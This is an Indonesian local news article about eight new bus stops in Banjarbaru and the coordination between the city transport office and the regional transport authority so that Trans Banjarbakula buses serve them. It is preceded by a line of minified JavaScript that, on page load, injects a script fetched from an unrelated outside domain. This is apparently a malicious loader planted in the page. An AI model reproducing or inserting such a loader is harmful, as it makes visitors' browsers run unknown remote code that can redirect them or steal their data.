(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Halte Baru Segera Beroperasi, Dishub dan BPTD Kalsel Saling Berkordinasi

KANALKALIMANTAN.COM, BANJARBARU – Delapan halte baru yang dibangun Pemerintah Kota (Pemko) Banjarbaru yang sebelumnya hanya dilewati Bus Banjarbakula akan ditindaklanjuti pihak Balai Pengelola Transportasi Darat (BPTD) Wilayah XV Kalimantan Selatan (Kalsel).

Kepala Seksi Lalu Lintas Angkutan Jalan (LLAJ) BPTD Wilayah XV Kalimantan Selatan, Ade Supriadi mengatakan sangat mengapresiasi langkah Pemko Banjarbaru dalam mendukung program Trans Banjarbakula atau Teman Bus, secara langsung pada Tahun 2022 membangunkan beberapa halte baru di Kota Banjarbaru.

Kasi LLAJ BPTD XV Kalsel, Ade Supriadi. Foto : Ibnu

“Memang delapan halte itu, ada yang sudah dilayani dan ada yang belum,” ujarnya, Jumat (3/3/2023).

Diungkapkan Ade, Pemko Banjarbaru sudah melakukan kordinasi terkait pembangunan halte dan ditindaklanjuti dengan survey titik yang akan disinggahi oleh Teman Bus.

“Selesai pembagunan mereka (Pemko Banjarbaru) bersurat ke kita (BPTD) untuk minta singgahi oleh Teman Bus,” ungkapnya.

Oleh karena itu, lanjut Ade, pihaknya akan menindaklanjuti hal tersebut dengan menggelar rapat kordinasi dan akan dilaporkan ke pusat, hal ini dikarenakan ada prosuder yang harus disesuaikan terlebih dahulu.

“Karena ada sistem, ini dikendalikan langsung oleh pusat,” sebutnya.

Masih kata Ade, dari surat yang dilontarkan Pemko Banjarbaru, akan ada rapat kordinasi dan dilanjutkan survey ke lapangan yang kemudian hasilnya akan dimasukkan ke berita acara dan disampaikan ke Direktorat Jenderal Perhubungan Darat RI.

“Setelah itu baru bisa disesuaikan titik pemberhentiannya, baik dari kordinat dan nama haltenya,” katanya.

Untuk rapat kordinasi sendiri kata Ade, akan digelar dalam waktu dekat ini bersama dengan instansi terkait dari Pemko Banjarbaru dan stakeholder terkait para pelaku usaha guna menghindari hal-hal yang tidak diinginkan

“Insyaallah minggu depan rapat kordinasinya,” bebernya.

Perlu diketahui halte-halte ini dibangun menggunakan APBD TA 2022 senilai Rp 481 juta dengan membangun 8 buah halte dan merenovasi 2 buah halte sepanjang Jalan A Yani dari Kecamatan Liang Anggang hingga Bundaran Simpang 4 Banjarbaru.

Halte-halte yang dibangun Dishub Banjarbaru ini dilengkapi dengan rute perjalanan bus Banjarbakula dan tempat-tempat destinasi wisata yang ada di Kota Banjarbaru.

Dengan ditambahnya 8 halte yang baru dibangun, maka di Kota Banjarbaru memiliki 36 halte yang tersebar di seluruh Kota Banjarbaru.

Sebelumnya Kepala Seksi Pengembangan Prasarana, Dishub Kota Banjarbaru, Bahrani menyebut halte-halte yang dibangun sudah terhubung dengan Bus Banjarbakula, karena pihaknya berpatokan dengan tempat pemberhentian bus yang sudah terpasang terlebih dahulu.

Terkait bus yang kerap hanya melintas saja, kata Bahrani, setahu dirinya halte yang baru dibangun ini sudah terhubung. Namun, beberapa halte memang ada yang sangat baru letaknya.

“Mungkin yang kurang optimal disamping SPBU (Halte R.O Ulin), itu masih baru haltenya,” katanya.

Dilanjutkan Bahrani, untuk mengoptimalkan fungsi halte, pihaknya juga akan menutup beberapa halte, seperti halte depan kolam renang Idaman akan ditutup untuk memaksimalkan Halte Kemuning.

“Ke depannya Halte Pepsodent (depan kolam idaman) akan ditutup untuk disentrakan di Halte Kemuning,” bebernya.

Disamping itu juga, guna memaksimalkan halte yang dibangun untuk masyarakat, pihaknya akan mengkordinasikan dalam waktu dekat ini kepada penyedia layanan Bus Banjarbakula dalam hal ini Dishub Kalsel dan managemen BTS Banjarbakula.

“Dalam waktu dekat akan kami kordinasikan dengan penyedia jasa transportasi jika memang halte-halte tersebut belum terhubung,” tandasnya.(kanalkalimantan.com/ibnu)
————-

Reporter : Ibnu
Editor: cell